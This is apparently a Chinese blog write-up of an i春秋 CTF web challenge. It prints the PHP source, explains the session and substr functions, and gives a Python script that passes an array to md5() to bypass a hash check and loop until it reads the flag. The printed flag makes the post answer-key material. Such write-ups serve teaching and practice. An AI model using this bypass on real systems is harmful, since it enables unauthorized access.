i春秋 web爆破3

原创

那个人mo得了 于 2019-04-05 22:58:02 发布 577 收藏

分类专栏： python

本文链接：https://blog.csdn.net/qq_41306131/article/details/89048809

分值：10分　　类型：Misc Web　　题目名称：爆破-3　　未解答

题目内容：这个真的是爆破。

http://d165c445051c43ae894c87cc01d7f2ee3ea2cca46c804e03.changame.ichunqiu.com

00 : 55 : 29

延长时间(3)　重新创建

先放题目代码讲解

```php
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>
```

error_reporting() 函数规定报告哪个错误
error_reporting(0)代表关闭了错误报告

session_start()

1.session的工作原理

（1）首先使用session_start()函数进行初始换
（2）当执行PHP脚本时，通过使用$_SESSION超全局变量注册session变量。
（3）当PHP脚本执行结束时，未被销毁的session变量会被自动保存在本地一定路径下的session库中， 这个路径可以通过php.ini文件中的session.save_path指定， 下次浏览网页时可以加载使用。

2.session_start()做了哪些初始化工作

（1）读取名为PHPSESSID（如果没有改变默认值）的cookie值，假使为abc123
（2）若读取到PHPSESSID这个COOKIE，创建$_SESSION变量，并从相应的目录中（可以再php.ini中设置）读取SESS_abc123（默认是这种命名方式）文件,将字符装在入$_SESSION变量中; 若没有读取到PHPSESSID这个COOKIE，也会创建$_SESSION变量，同时创建一个sess_abc321(名称为随机值)的session文件,同时将abc321作为PHPSESSID的cookie值返回给浏览器端。

range(‘a’, ‘z’)

```php
<?php
$letter = range("a","d");
print_r ($letter);
?>
```

使用字母 - 返回包含从 “a” 到 “d” 之间的元素的数组

substr(md5($value),5,4)

重点就是这一段
讲解一下substr()

```
<?php
$str='hello,world';
echo substr($str,6,5);
?>
```

hello,world字符串视作一个数组，即arr[0]=h;
以此类推，arr[6]=w;从6的位置上截取5字符字长，得到的结果就是world

使用MD5无法解析数组绕过
value[]=*****

```
# coding:utf-8
import requests
url='http://d165c445051c43ae894c87cc01d7f2ee3ea2cca46c804e03.changame.ichunqiu.com/'
s=requests.Session()
h=s.get(url+'?value[]=ea').text
for i in range(10):
    h=s.get(url+'?value[]='+h[0:2]).text
    if 'flag{.*}' in h:
        break
print (h)
```

h=s.get(url+’?value[]=ea’).text
使得$_SESSION[‘whoami’]==($value[0].$value[1])这一个条件成立
h=s.get(url+’?value[]=’+h[0:2])
这里之所以需要加上h[0:2]是因为当value[]=ea这一个条件成立后，只要第一次传进去的value与session中的相等，则网页会输出下一个value值，通过使用md5函数不能对数组进行处理的漏洞来绕过substr(md5($value),5,4)==0的判断，使nums得值大于10即可得到flag

```
grflag{6a317e3c-48ca-414f-b381-de2219b89353}<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php <br />error_reporting</span><span style="color:
#007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br
/></span><span style="color: #0000BB">session_start</span><span style="color: #007700">();<br
/>require(</span><span style="color: #DD0000">'./flag.php'</span><span style="color:
```